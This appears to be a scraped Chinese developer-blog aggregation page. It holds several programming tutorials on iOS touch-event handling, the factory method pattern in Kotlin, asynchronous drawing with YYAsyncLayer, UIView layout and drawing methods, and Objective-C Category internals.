1.如果两根手指同时触摸一个view,那么view只会调用一次touchesBegan:withEvent:方法,touches参数中装着2个UITouch对象

2.如果这两根手指一前一后分开触摸同一个view,那么view会分别调用2次touchesBegan:withEvent:方法,并且每次调用时的touches参数中只包含一个UITouch对象

3.重写以上四个方法,如果是处理UIView的触摸事件。必须要自定义UIView子类继承自UIView。因为苹果不开源,没有把UIView的.m文件提 供给我们。我们只能通过子类继承父类,重写子类方法的方式处理UIView的触摸事件(注意:我说的是UIView触摸事件而不是说的 UIViewController的触摸事件)。

4.如果是处理UIViewController的触摸事件,那么在控制器的.m文件中直接重写那四个方法即可!

/************************自定义UIView的.h.m文件************************/

#import 

@interface WYView : UIView
@end
#import "WYView.h"
@implementation WYView
// 开始触摸时就会调用一次这个方法
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{
NSLog(@"摸我干啥!");
}
// 手指移动就会调用这个方法
// 这个方法调用非常频繁
- (void)touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event{
NSLog(@"移动过程中持续调用!");
}
// 手指离开屏幕时就会调用一次这个方法
- (void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event{
NSLog(@"手放开还能继续玩耍!");
}
@end

/**************************控制器的.m文件*************************/

#import "ViewController.h"
#import "WYView.h"
@interface ViewController ()
@end@implementation ViewController
- (void)viewDidLoad {
[super viewDidLoad];
// 创建自定义view
WYView *touchView = [[WYView alloc] initWithFrame:CGRectMake(100, 100, 100, 100)];
// 背景颜色
touchView.backgroundColor = [UIColor redColor];
// 添加到父控件
[self.view addSubview:touchView];
}
@end

注 意:有人认为,我要是处理控制器的自带的view的事件就不需要自定义UIView子类继承于UIView,因为可以在viewController.m 文件中重写touchBegan:withEvent:方法,但是,我们此处讨论的是处理UIView的触摸事件,而不是处理 UIViewController的触摸事件。你如果是在viewController.m文件中重写touchBegan:withEvent:方法,相当于处理的是viewController的触摸事件,因为viewController也是继承自UIResponder,所以会给人一种错觉。
所以,还是那句话,想处理UIView的触摸事件,必须自定义UIView子类继承自UIView。

2.1.UIView的拖拽

那么,如何实现UIView的拖拽呢?也就是让UIView随着手指的移动而移动。
  - 重写touchsMoved:withEvent:方法
此时需要用到参数touches,下面是UITouch的属性和方法:

NS_CLASS_AVAILABLE_IOS(2_0) @interface UITouch : NSObject

@property(nonatomic,readonly) NSTimeInterval timestamp;
@property(nonatomic,readonly) UITouchPhase phase;
@property(nonatomic,readonly) NSUInteger tapCount; // touch down within a certain point within a certain amount of time

// majorRadius and majorRadiusTolerance are in points
// The majorRadius will be accurate +/- the majorRadiusTolerance
@property(nonatomic,readonly) CGFloat majorRadius NS_AVAILABLE_IOS(8_0);
@property(nonatomic,readonly) CGFloat majorRadiusTolerance NS_AVAILABLE_IOS(8_0);

@property(nullable,nonatomic,readonly,strong) UIWindow *window;
@property(nullable,nonatomic,readonly,strong) UIView *view;
@property(nullable,nonatomic,readonly,copy) NSArray *gestureRecognizers NS_AVAILABLE_IOS(3_2);

- (CGPoint)locationInView:(nullable UIView *)view;
- (CGPoint)previousLocationInView:(nullable UIView *)view;

// Force of the touch, where 1.0 represents the force of an average touch
@property(nonatomic,readonly) CGFloat force NS_AVAILABLE_IOS(9_0);
// Maximum possible force with this input mechanism
@property(nonatomic,readonly) CGFloat maximumPossibleForce NS_AVAILABLE_IOS(9_0);

2.1.1.UITouch对象

当用户用一根手指触摸屏幕时,会创建一个与手指相关的UITouch对象

一根手指对应一个UITouch对象

如果两根手指同时触摸一个view,那么view只会调用一次touchesBegan:withEvent:方法,touches参数中装着2个UITouch对象

如果这两根手指一前一后分开触摸同一个view,那么view会分别调用2次touchesBegan:withEvent:方法,并且每次调用时的touches参数中只包含一个UITouch对象

2.1.1.1.UITouch的作用

    保存着跟手指相关的信息,比如触摸的位置、时间、阶段

    当手指移动时,系统会更新同一个UITouch对象,使之能够一直保存该手指在的触摸位置

    当手指离开屏幕时,系统会销毁相应的UITouch对象
    提 示:iPhone开发中,要避免使用双击事件!

    2.1.1.2.UITouch的属性

    触摸产生时所处的窗口
    @property(nonatomic,readonly,retain) UIWindow *window;

    触摸产生时所处的视图
    @property(nonatomic,readonly,retain) UIView *view
    ;

    短时间内点按屏幕的次数,可以根据tapCount判断单击、双击或更多的点击
    @property(nonatomic,readonly) NSUInteger tapCount;

    记录了触摸事件产生或变化时的时间,单位是秒
    @property(nonatomic,readonly) NSTimeInterval timestamp;

    当前触摸事件所处的状态
    @property(nonatomic,readonly) UITouchPhase phase;

    2.1.1.3.UITouch的方法

    (CGPoint)locationInView:(UIView *)view;
    // 返回值表示触摸在view上的位置
    // 这里返回的位置是针对view的坐标系的(以view的左上角为原点(0, 0))
    // 调用时传入的view参数为nil的话,返回的是触摸点在UIWindow的位置

    (CGPoint)previousLocationInView:(UIView *)view;
    // 该方法记录了前一个触摸点的位置

    - (void)touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event{ 
    // 想让控件随着手指移动而移动,监听手指移动
    // 获取UITouch对象
    UITouch *touch = [touches anyObject];
    // 获取当前点的位置
    CGPoint curP = [touch locationInView:self];
    // 获取上一个点的位置
    CGPoint preP = [touch previousLocationInView:self];
    // 获取它们x轴的偏移量,每次都是相对上一次
    CGFloat offsetX = curP.x - preP.x;
    // 获取y轴的偏移量
    CGFloat offsetY = curP.y - preP.y;
    // 修改控件的形变或者frame,center,就可以控制控件的位置
    // 形变也是相对上一次形变(平移)
    // CGAffineTransformMakeTranslation:会把之前形变给清空,重新开始设置形变参数
    // make:相对于最原始的位置形变
    // CGAffineTransform t:相对这个t的形变的基础上再去形变
    // 如果相对哪个形变再次形变,就传入它的形变
    self.transform = CGAffineTransformTranslate(self.transform, offsetX, offsetY);}

    (三)iOS中的事件的产生和传递

    3.1.事件的产生

    发生触摸事件后,系统会将该事件加入到一个由UIApplication管理的事件队列中,为什么是队列而不是栈?因为队列的特点是FIFO,即先进先出,先产生的事件先处理才符合常理,所以把事件添加到队列。

    UIApplication会从事件队列中取出最前面的事件,并将事件分发下去以便处理,通常,先发送事件给应用程序的主窗口(keyWindow)。

    主窗口会在视图层次结构中找到一个最合适的视图来处理触摸事件,这也是整个事件处理过程的第一步。

    找到合适的视图控件后,就会调用视图控件的touches方法来作具体的事件处理。

    3.2.事件的传递

    触摸事件的传递是从父控件传递到子控件
    也就是UIApplication->window->寻找处理事件最合适的view
    注 意: 如果父控件不能接受触摸事件,那么子控件就不可能接收到触摸事件

    应用如何找到最合适的控件来处理事件?

    1.首先判断主窗口(keyWindow)自己是否能接受触摸事件

    2.判断触摸点是否在自己身上

    3.子控件数组中从后往前遍历子控件,重复前面的两个步骤(所谓从后往前遍历子控件,就是首先查找子控件数组中最后一个元素,然后执行1、2步骤)

    4.view,比如叫做fitView,那么会把这个事件交给这个fitView,再遍历这个fitView的子控件,直至没有更合适的view为止。

    5.如果没有符合条件的子控件,那么就认为自己最合适处理这个事件,也就是自己是最合适的view。

    UIView不能接收触摸事件的三种情况:

    1.不允许交互:userInteractionEnabled = NO
    2.隐藏:如果把父控件隐藏,那么子控件也会隐藏,隐藏的控件不能接受事件
    3.透明度:如果设置一个控件的透明度<0.01,会直接影响子控件的透明度。alpha:0.0~0.01为透明。

    注 意:默认UIImageView不能接受触摸事件,因为不允许交互,即userInteractionEnabled = NO。所以如果希望UIImageView可以交互,需要设置UIImageView的userInteractionEnabled = YES。

    总结一下

    1.点击一个UIView或产生一个触摸事件A,这个触摸事件A会被添加到由UIApplication管理的事件队列中(即,首先接收到事件的是UIApplication)。

    2.UIApplication会从事件对列中取出最前面的事件(此处假设为触摸事件A),把事件A传递给应用程序的主窗口(keyWindow)。

    3.窗口会在视图层次结构中找到一个最合适的视图来处理触摸事件。(至此,第一步已完成)

摘自链接:https://blog.csdn.net/wywinstonwy/article/details/105293525

收起阅读 »

java 设计模式:工厂方法模式

前言简单工厂模式每增加一个产品就要增加一个具体产品类和一个对应的具体工厂类,这增加了系统的复杂度,违背了“开闭原则”。“工厂方法模式”是对简单工厂模式的进一步抽象化,其好处是可以使系统在不修改原来代码的情况下引进新的产品,即满足开闭原则。优点:用户只需要知道具...
继续阅读 »

前言

简单工厂模式每增加一个产品就要增加一个具体产品类和一个对应的具体工厂类,这增加了系统的复杂度,违背了“开闭原则”。
“工厂方法模式”是对简单工厂模式的进一步抽象化,其好处是可以使系统在不修改原来代码的情况下引进新的产品,即满足开闭原则。

优点:

  • 用户只需要知道具体工厂的名称就可得到所要的产品,无须知道产品的具体创建过程。
  • 灵活性增强,对于新产品的创建,只需多写一个相应的工厂类。
  • 典型的解耦框架。高层模块只需要知道产品的抽象类,无须关心其他实现类,满足迪米特法则、依赖倒置原则和里氏替换原则。

缺点:

  • 类的个数容易过多,增加复杂度
  • 增加了系统的抽象性和理解难度
  • 抽象产品只能生产一种产品,此弊端可使用抽象工厂模式解决。

应用场景:

  • 客户只知道创建产品的工厂名,而不知道具体的产品名。如 TCL 电视工厂、海信电视工厂等。
  • 创建对象的任务由多个具体子工厂中的某一个完成,而抽象工厂只提供创建产品的接口。
  • 客户不关心创建产品的细节,只关心产品的品牌

代码实现

工厂方法模式的主要角色如下。

  1. 抽象工厂:提供了创建产品的接口,调用者通过它访问具体工厂的工厂方法 newProduct() 来创建产品。
  2. 具体工厂:主要是实现抽象工厂中的抽象方法,完成具体产品的创建。
  3. 抽象产品:定义了产品的规范,描述了产品的主要特性和功能。
  4. 具体产品:实现了抽象产品角色所定义的接口,由具体工厂来创建,它同具体工厂之间一一对应。


    在这里插入图片描述
    在这里插入图片描述

    kotlin代码实现

//抽象产品:提供了产品的接口
interface IProduct{
fun setPingPai(string: String)
fun showName() :String
}
//具体产品1:实现抽象产品中的抽象方法
class Dog : IProduct{
var pinPai:String? = null
override fun setPingPai(string: String) {
this.pinPai = string
}

override fun showName() = "dog"

}
//具体产品2:实现抽象产品中的抽象方法
class Cat : IProduct{
var pinPai:String? = null
override fun setPingPai(string: String) {
this.pinPai = string
}
override fun showName() = "cat"
}
//抽象工厂:提供了厂品的生成方法
interface IFactory{
fun getPinPai():String
fun createProduct(type:Int):IProduct
}
//具体工厂1:实现了厂品的生成方法
class ABCFactory():IFactory{
override fun getPinPai() = "ABC"

override fun createProduct(type: Int): IProduct {
return when(type){
1-> Dog().apply { setPingPai(getPinPai()) }
2-> Cat().apply { setPingPai(getPinPai()) }
else -> throw NullPointerException()
}
}

}
//具体工厂2:实现了厂品的生成方法
class CBDFactory():IFactory{
override fun getPinPai() = "CBD"
override fun createProduct(type: Int): IProduct {
return when(type){
1-> Dog().apply { setPingPai(getPinPai()) }
2-> Cat().apply { setPingPai(getPinPai()) }
else -> throw NullPointerException()
}
}

}

Android源码分析

ThreadFactory

在这里插入图片描述
在这里插入图片描述
//抽象产品
public interface Runnable {
public abstract void run();
}

//抽象工厂
public interface ThreadFactory {
Thread newThread(Runnable r);
}

具体的实现

//实现1 TaskThreadFactory
class TaskThreadFactory(var name: String) : ThreadFactory {
private val mThreadNumber = AtomicInteger(1)
override fun newThread(r: Runnable): Thread {
return Thread(r, name + "#" + mThreadNumber.getAndIncrement())
}
}
//实现2 DiskLruCacheThreadFactory
private static final class DiskLruCacheThreadFactory implements ThreadFactory {
@Override
public synchronized Thread newThread(Runnable runnable) {
Thread result = new Thread(runnable, "glide-disk-lru-cache-thread");
result.setPriority(Thread.MIN_PRIORITY);
return result;
}
}

解释:

参数Runnable r,我们可以创建很多此类线程的产品类,我们还可以创建工厂来创造某类专用线程

收起阅读 »

iOS-异步绘制原理

在 UIView 中有一个 CALayer 的属性,负责 UIView 具体内容的显示。具体过程是系统会把 UIView 显示的内容(包括 UILabel 的文字,UIImageView 的图片等)绘制在一张画布上,完成后倒出图片赋值给 CALayer 的 c...
继续阅读 »

在 UIView 中有一个 CALayer 的属性,负责 UIView 具体内容的显示。具体过程是系统会把 UIView 显示的内容(包括 UILabel 的文字,UIImageView 的图片等)绘制在一张画布上,完成后倒出图片赋值给 CALayer 的 contents 属性,完成显示。

这其中的工作都是在主线程中完成的,这就导致了主线程频繁的处理 UI 绘制的工作,如果要绘制的元素过多,过于频繁,就会造成卡顿。

那么是否可以将复杂的绘制过程放到后台线程中执行,从而减轻主线程负担,来提升 UI 流畅度呢?

答案是可以的,系统给我们留下的异步绘制的口子,请看下面的流程图,它是我们进行基本绘制的基础。

UIView 调用 setNeedsDisplay 方法其实是调用其 layer 属性的同名方法,这时 layer 并不会立刻调用 display 方法,而是要等到当前 runloop 即将结束的时候调用 display,进入到绘制流程。在 UIView 中 layer.delegate 就是 UIView 本身,UIView 并没有实现 displayLayer: 方法,所以进入系统的绘制流程,我们可以通过实现 displayLayer: 方法来进行异步绘制。

有了上面的异步绘制原理流程图,我们可以得到一个实现异步绘制的初步思路:
在“异步绘制入口”去开辟子线程,然后在子线程中实现和系统类似的绘制流程。

二、系统绘制流程

要实现异步绘制,我们首先要了解系统的绘制流程,看下面一张流程图:


三、异步绘制流程

我们看一幅时序图


#import "AsyncDrawLabel.h"
#import <CoreText/CoreText.h>

@implementation AsyncDrawLabel

- (void)setText:(NSString *)text {
_text = text;
[self.layer setNeedsDisplay];
}

- (void)setFont:(UIFont *)font {
_font = font;
[self.layer setNeedsDisplay];
}

- (void)displayLayer:(CALayer *)layer {
dispatch_async(dispatch_get_global_queue(0, 0), ^{
__block CGSize size;
dispatch_sync(dispatch_get_main_queue(), ^{
size = self.bounds.size;
});
UIGraphicsBeginImageContextWithOptions(size, NO, UIScreen.mainScreen.scale);
CGContextRef context = UIGraphicsGetCurrentContext();
[self draw:context size:size];
UIImage *image = UIGraphicsGetImageFromCurrentImageContext();
UIGraphicsEndImageContext();
dispatch_async(dispatch_get_main_queue(), ^{
self.layer.contents = (__bridge id)image.CGImage;
});
});
}

- (void)draw:(CGContextRef)context size:(CGSize)size {
// 将坐标系上下翻转,因为底层坐标系和 UIKit 坐标系原点位置不同。
CGContextSetTextMatrix(context, CGAffineTransformIdentity);
CGContextTranslateCTM(context, 0, size.height); // 原点为左下角
CGContextScaleCTM(context, 1, -1);

CGMutablePathRef path = CGPathCreateMutable();
CGPathAddRect(path, NULL, CGRectMake(0, 0, size.width, size.height));

NSMutableAttributedString *attrStr = [[NSMutableAttributedString alloc]initWithString:self.text];
[attrStr addAttribute:NSFontAttributeName value:self.font range:NSMakeRange(0, self.text.length)];

CTFramesetterRef framesetter = CTFramesetterCreateWithAttributedString((CFAttributedStringRef)attrStr);
CTFrameRef frame = CTFramesetterCreateFrame(framesetter, CFRangeMake(0, attrStr.length), path, NULL);
CTFrameDraw(frame, context);
}

@end

AsyncDrawLabel 是一个继承 UIView 的类,其 Label 的文本绘制功能需要我们自己实现。

我们在 - (void)displayLayer:(CALayer *)layer 方法中异步在全局队列中创建上下文环境然后使用 - (void)draw:(CGContextRef)context size:(CGSize)size 方法进行文本的简单绘制,再回到主线程为 self.layer.contents 赋值。从而完成了一个简单的异步绘制。

当然这样的绘制的问题是,如果绘制数量较多,绘制频繁,会阻塞全局队列,因为全局队列中还有一些系统提交的任务需要执行,可能会对其造成影响。

YYAsyncLayer

我们需要更加优化的方式去管理异步绘制的线程和执行流程,使用 YYAsyncLayer 可以让我们把注意力放在具体的绘制(需要我们做的是上面代码中 - draw: size: 做的事情),而不需要考虑线程的管理,绘制的时机等,大大提高绘制的效率以及我们编程的速度。

YYAsyncLayer 的主要流程如下

在主线程的 RunLoop 中注册一个 observer,它的优先级要比系统的 CATransaction 低,保证系统先做完必须的工作。

把需要异步绘制的操作集中起来。比如设置字体、颜色、背景色等,不是设置一个就绘制一个,而是把它们集中起来,RunLoop 会在 observer 需要的时机通知统一处理。

处理时机到时,执行异步绘制,并在主线程中把绘制结果传递给 layer.contents。

流程图如下:


使用 YYAsyncLayer 的代码:

#import "AsyncDrawLabel.h"
#import <YYAsyncLayer.h>
#import <CoreText/CoreText.h>

@interface AsyncDrawLabel ()<YYAsyncLayerDelegate>

@end

@implementation AsyncDrawLabel

+ (Class)layerClass {
return YYAsyncLayer.class;
}

- (void)setText:(NSString *)text {
_text = text.copy;
[self commitTransaction];
}

- (void)setFont:(UIFont *)font {
_font = font;
[self commitTransaction];
}

- (void)layoutSubviews {
[super layoutSubviews];
[self commitTransaction];
}

- (void)contentsNeedUpdated {
[self.layer setNeedsDisplay];
}

- (void)commitTransaction {
[[YYTransaction transactionWithTarget:self selector:@selector(contentsNeedUpdated)] commit];
}

// 在这里创建异步绘制的任务
- (YYAsyncLayerDisplayTask *)newAsyncDisplayTask {
YYAsyncLayerDisplayTask *task = [YYAsyncLayerDisplayTask new];
task.willDisplay = ^(CALayer * _Nonnull layer) {

};
task.display = ^(CGContextRef _Nonnull context, CGSize size, BOOL (^ _Nonnull isCancelled)(void)) {
if (isCancelled() || self.text.length == 0) {
return;
}
// 在这里进行异步绘制
[self draw:context size:size];
};
task.didDisplay = ^(CALayer * _Nonnull layer, BOOL finished) {
if (finished) {

} else {

}
};
return task;
}

- (void)draw:(CGContextRef)context size:(CGSize)size {
// 将坐标系上下翻转,因为底层坐标系和 UIKit 坐标系原点位置不同。
CGContextSetTextMatrix(context, CGAffineTransformIdentity);
CGContextTranslateCTM(context, 0, size.height); // 原点为左下角
CGContextScaleCTM(context, 1, -1);

CGMutablePathRef path = CGPathCreateMutable();
CGPathAddRect(path, NULL, CGRectMake(0, 0, size.width, size.height));

NSMutableAttributedString *attrStr = [[NSMutableAttributedString alloc]initWithString:self.text];
[attrStr addAttribute:NSFontAttributeName value:self.font range:NSMakeRange(0, self.text.length)];

CTFramesetterRef framesetter = CTFramesetterCreateWithAttributedString((CFAttributedStringRef)attrStr);
CTFrameRef frame = CTFramesetterCreateFrame(framesetter, CFRangeMake(0, attrStr.length), path, NULL);
CTFrameDraw(frame, context);
}
@end

原文链接:https://blog.csdn.net/wywinstonwy/article/details/105660643

收起阅读 »

iOS-视图&图像相关

Auto Layout 原理Auto Layout是一种全新的布局方式,它采用一系列约束(constraints)来实现自动布局,当你的屏幕尺寸发生变化或者屏幕发生旋转时,可以不用添加代码来保持原有布局不变,实现视图的自动布局。所谓约束,通常是定义了两个视图之...
继续阅读 »

Auto Layout 原理

Auto Layout是一种全新的布局方式,它采用一系列约束(constraints)来实现自动布局,当你的屏幕尺寸发生变化或者屏幕发生旋转时,可以不用添加代码来保持原有布局不变,实现视图的自动布局。

所谓约束,通常是定义了两个视图之间的关系(当然你也可以一个视图自己跟自己设定约束)。如下图就是一个约束的例子,当然要确定一个视图的位置,跟基于frame一样,也是需要确定视图的横纵坐标以及宽度和高度的,只是,这个横纵坐标和宽度高度不再是写死的数值,而是根据约束计算得来,从而达到自动布局的效果

UIView之drawRect: & layoutSubviews的作用和机制

drawRect 调用机制

1、调用时机:loadView ->ViewDidload ->drawRect:

2、如果在UIView初始化时没有设置rect大小,将直接导致drawRect:不被自动调用。

3、通过设置contentMode属性值为UIViewContentModeRedraw。那么将在每次设置或更改frame的时候自动调用drawRect:

4、直接调用setNeedsDisplay,或者setNeedsDisplayInRect:触发drawRect:,但是有个前提条件是:view当前的rect不能为nil

5、该方法在调用sizeThatFits后被调用,所以可以先调用sizeToFit计算出size。然后系统自动调用drawRect:方法。

这里简单说一下sizeToFit和sizeThatFit:
sizeToFit:会计算出最优的 size 而且会改变自己的size
sizeThatFits:会计算出最优的 size 但是不会改变 自己的 size

注意事项
1、若使用UIView绘图,只能在drawRect:方法中获取相应的contextRef并绘图。如果在其他方法中获取到一个invalidate的ref保存下来,在drawRect中并不能用于画图。等到在这里调用时,可能当前上下文环境已经变化。
2、若使用CALayer绘图,只能在drawInContext: 中(类似于drawRect)绘制,或者在delegate中的相应方法绘制。同样也是调用setNeedDisplay等间接调用以上方法。
3、若要实时画图,不能使用gestureRecognizer,只能使用touchbegan等方法来掉用setNeedsDisplay实时刷新屏幕。
4、UIImageView继承自UIView,但是UIImageView能不重写drawRect方法用于实现自定义绘图。具体原因如下:
Apple在文档中指出:UIImageView是专门为显示图片做的控件,用了最优显示技术,是不让调用darwrect方法, 要调用这个方法,只能从uiview里重写。

layoutSubviews

这个方法是用来对subviews重新布局,默认没有做任何事情,需要子类进行重写。
当我们在某个类的内部调整子视图位置时,需要调用。

反过来的意思就是说:如果你想要在外部设置subviews的位置,就不要重写。

①、- (void)layoutSubviews;
对subview重新布局
②、- (void)setNeedsLayout;
将视图标记为需要重新布局, 这个方法会在系统runloop的下一个周期自动调用layoutSubviews。
③、- (void)layoutIfNeeded;
如果有需要刷新的标记立即调用layoutSubviews进行布局(如果没有标记,不会调用layoutSubviews)

这里注意一个点:标记,没有标记,即使我们掉了该函数也不起作用
如果要立即刷新,要先调用[view setNeedsLayout],把标记设为需要布局,然后马上调用[view layoutIfNeeded],实现布局.
在视图第一次显示之前,标记总是“需要刷新”的,可以直接调用[view layoutIfNeeded]

这里有必要描述下三者之间的关系:
在没有外界干预的情况下,一个view的frame或者bounds发生变化时,系统会先去标记flag这个view,等下一次渲染时机到来时(也就是runloop的下一次循环),会去按照最新的布局去重新布局视图。
setNeedLayout就是给这个view添加一个标记,告诉系统下一次渲染时机需要重新布局这个视图。
layoutIfNeed就是告诉系统,如果已经设置了flag,那不用等待下个渲染时机到来,立即重新渲染。前提是设置了flag。
layoutSubviews则是由系统去调用,不需要我们主动调用,我们只需要调用layoutIfNeed,告诉系统是否立即执行重新布局的操作。

layoutSubviews调用时机

结论是经过搜索得到的,基于此笔者进行了验证,并得到了些结果:
1、init初始化不会触发layoutSubviews。
2、addSubview会触发layoutSubviews。(当然这里frame为0,是不会调用的,同上面的drawrect:一样)
3、设置view的Frame会触发layoutSubviews,(当然前提是frame的值设置前后发生了变化。)
4、滚动一个UIScrollView会触发layoutSubviews。
5、旋转屏幕会触发父UIView上的layoutSubviews事件。(这个我们开发中会经常遇到,比如屏幕旋转时,为了界面美观我们需要修改子view的frame,那就会在layoutSubview中做相应的操作)
6、改变一个UIView大小的时候也会触发父UIView上的layoutSubviews事件。
7、直接调用setLayoutSubviews。(Apple是不建议这么做的)
这里需要补充一点:layoutSubview是布局相关,而drawRect则是负责绘制。因此从调用时序上来讲,layoutSubviews要早于drawRect:函数。

摘自链接:https://www.jianshu.com/p/2ab322e1c7d4
收起阅读 »

iOS底层系列:Category

前言Category是我们平时用到的比较多的一种技术,比如说给某个类增加方法,添加成员变量,或者用Category优化代码结构。我们通过下面这几个问题作为切入点,结合runtime的源码,探究一下Category的底层原理。我们在Category中,可以直接添...
继续阅读 »

前言

Category是我们平时用到的比较多的一种技术,比如说给某个类增加方法,添加成员变量,或者用Category优化代码结构。
我们通过下面这几个问题作为切入点,结合runtime的源码,探究一下Category的底层原理。
我们在Category中,可以直接添加方法,而且我们也都知道,添加的方法会合并到本类当中,同时我们也可以声明属性,但是此时的属性没有功能,也就是不能存值,这就类似于Swift中的计算属性,如果我们想让这个属性可以储存值,就要用runtime的方式,动态的添加。

探究

1. Category为什么能添加方法不能添加成员变量
首先我们先创建一个Person类,然后创建一个Person+Run的Category,并在Person+Run中实现-run方法。
我们可以使用命令行对Person+Run.m进行编译

xcrun -sdk iphonesimulator clang -rewrite-objc Person+Run.m

得到一个Person+Run.cpp文件,在文件的底部,可以找到这样一个结构体

struct _category_t {
const char *name;
struct _class_t *cls;
const struct _method_list_t *instance_methods;
const struct _method_list_t *class_methods;
const struct _protocol_list_t *protocols;
const struct _prop_list_t *properties;
};

这些字段几乎都是见名知意了。
每一个Category都会编译然后存储在一个_category_t类型的变量中

static struct _category_t _OBJC_$_CATEGORY_Person_$_Run __attribute__ ((used, section ("__DATA,__objc_const"))) = 
{
"Person",
0, // &OBJC_CLASS_$_Person,
(const struct _method_list_t *)&_OBJC_$_CATEGORY_INSTANCE_METHODS_Person_$_Run,
0,
0,
0,
};

因为我们的Person+Run里面只有一个实例方法,从上述代码中来看,也只有对应的位置传值了。
通过这个_category_t的结构结构我们也可以看出,属性存储在_prop_list_t,这里并没有类中的objc_ivar_list结构体,所以Category的_category_t结构体中根本没有储存ivar的地方,所以不能添加成员变量。
如果我们在分类中手动为成员变量添加了set和get方法之后,也可以调用,但实际上是没有内存来储值的,这就好像Swift中的计算属性,只起到了计算的作用,就相当于是两个方法(set和get),但是并不能拥有真用的内存来存储值。
举个例子

@property (copy, nonatomic) NSString * name;

下面这个声明如果实在类中,系统会默认帮我们声明一个成员变量_name, 在.h中声明setName和name两个方法,并提供setName和name方法的默认实现。
如果是在Category中,只相当于声明setName和name两个方法,没有实现也没有_name。

2. Category的方法是何时合并到类中的
大家都知道Category分类肯定是我们的应用启动是,通过运行时特性加载的,但是这个加载过程具体的细节就要结合runtime的源码来分析了。
runtime源码太多了,我们先通过大概浏览代码来定位实现功能的相关位置。
我从objc-runtime-new.mm中找到了下面这个方法。

void attachLists(List* const * addedLists, uint32_t addedCount)

而且他的注释一些的很清楚,修复类的方法,协议和变量列表,关联还未关联的分类。
然后我们继续找,就找到了我们需要的这个方法。

void attachLists(List* const * addedLists, uint32_t addedCount)

我们从其中摘出一段代码来分析就可以解决我们的问题了。

// many lists -> many lists
uint32_t oldCount = array()->count;
uint32_t newCount = oldCount + addedCount;
setArray((array_t *)realloc(array(), array_t::byteSize(newCount)));
array()->count = newCount;
memmove(array()->lists + addedCount, array()->lists,
oldCount * sizeof(array()->lists[0]));
memcpy(array()->lists, addedLists,
addedCount * sizeof(array()->lists[0]));

在调用此方法之前我们所有的分类会被方法一个list里面(每一个分类都是一个元素),然后再调用attachLists方法,我们可以看到,在realloc的时候传进一个newCount,这是因为要增加分类中的方法,所以需要对之前的数组扩容,在扩容结束后先调用了memmove方法,在调用memcopy,大家可以上网查一下这两个方法具体的区别,这里简单一说,其实完成的效果都是把后面的内存的内容拷贝到前面内存中去,但是memmove可以处理内存重叠的问题。
其实也就是首先将原来数组中的每个元素先往后移动(我们要添加几个元素,就移动几位),因为移动后的位置,其实也是数组自己的内存空间,所以存在重叠问题,直接移动会导致元素丢失的问题,所以用memmove(会检测是否有内存重叠)。
移动完之后,把我们储存分类中方法的list中的元素移动到数组前面位置。
过程就是这样子了,其实我们第三个问题就顺便解决完了。

3. Category方法和类中方法的执行顺序
上面其实说到了,类中原来的方法是要往后面移动的,分类的方法添加到前面的位置,而且调用方法的时候是在list中遍历查找,所以我们调用方法的时候,肯定会先调用到Category中的方法,但是这并不是覆盖,因为我们的原方法还在,只是这中机制保证了如果分类中有重写类的方法,会被优先查找到。

4. +load和+initialize的区别
对于这个问题我们从两个角度出发分析,调用方式调用时刻

+load
简单的举一个例子,我们创建一个Person类,然后重写+load方法,然后为Person新建两个Category,都分别实现+load。

@implementation Person
+ (void)load {
NSLog(@"Person - load");
}
@end

@implementation Person (Test1)
+ (void)load {
NSLog(@"Person Test1 - load");
}
@end

@implementation Person (Test2)
+ (void)load {
NSLog(@"Person Test2 - load");
}
@end

当我们进行项目的时候,会得到下面的打印结果。

2020-09-14 09:34:41.900161+0800 Category[4533:53426] Person - load
2020-09-14 09:34:41.900629+0800 Category[4533:53426] Person Test1 - load
2020-09-14 09:34:41.900700+0800 Category[4533:53426] Person Test2 - load

我们并没有使用这个Person类和他的Category,所以应该是项目运行后,runtime在加载类和分类的时候,就会调用+load方法。
我们从源码中找到下面这个方法
void load_images(const char *path __unused, const struct mach_header *mh)
方法中的最后一行调用了call_load_methods(),这个call_load_methods()中就是实现了+load的调用方式。
下面是call_load_methods()函数的实现 ,大家简单浏览一遍

void call_load_methods(void)
{
static bool loading = NO;
bool more_categories;

loadMethodLock.assertLocked();

// Re-entrant calls do nothing; the outermost call will finish the job.
if (loading) return;
loading = YES;

void *pool = objc_autoreleasePoolPush();

do {
// 1. Repeatedly call class +loads until there aren't any more
while (loadable_classes_used > 0) {
call_class_loads();
}

// 2. Call category +loads ONCE
more_categories = call_category_loads();

// 3. Run more +loads if there are classes OR more untried categories
} while (loadable_classes_used > 0 || more_categories);

objc_autoreleasePoolPop(pool);

loading = NO;
}

从源码中很清楚的可以看到, 先调用call_class_loads(), 再调用call_category_loads(),这就说明了在调用所有的+load方法时,实现调用了所有类的+load方法,再去调用分类中的+load方法。
然后我们在进入到call_class_loads()函数中

static void call_class_loads(void)
{
int i;

// Detach current loadable list.
struct loadable_class *classes = loadable_classes;
int used = loadable_classes_used;
loadable_classes = nil;
loadable_classes_allocated = 0;
loadable_classes_used = 0;

// Call all +loads for the detached list.
for (i = 0; i < used; i++) {
Class cls = classes[i].cls;
load_method_t load_method = (load_method_t)classes[i].method;
if (!cls) continue;

if (PrintLoading) {
_objc_inform("LOAD: +[%s load]\n", cls->nameForLogging());
}
(*load_method)(cls, @selector(load));
}

// Destroy the detached list.
if (classes) free(classes);
}

从中间的循环中可以看出,是取到了每个类的+load函数的指针,直接通过指针调用了这个函数。 call_category_loads()函数中体现出来的Category的+load方法的调用,也是同理。
同时这也解答了我们的另一个疑惑,那就是为什么总是先调用类的+load,在调用Category的+load。
思考:如果存在继承的情况,+load又会是怎样的调用顺序呢?
从上面call_class_loads()函数中可以看到有一个list:loadable_classes,我们猜测这里面应该就是存放着我们所有的类,因为下面的循环是从0开始循环,所以我们要研究所有的类的+load方法的执行顺序,就要看这个list中的类的顺序是怎么样的。
我们从个源码中可以找到这样一个方法,prepare_load_methods,在其实现中调用了schedule_class_load方法,我们看一下schedule_class_load的源码

static void schedule_class_load(Class cls)
{
if (!cls) return;
ASSERT(cls->isRealized()); // _read_images should realize

if (cls->data()->flags & RW_LOADED) return;

// Ensure superclass-first ordering
schedule_class_load(cls->superclass);

add_class_to_loadable_list(cls);
cls->setInfo(RW_LOADED);
}

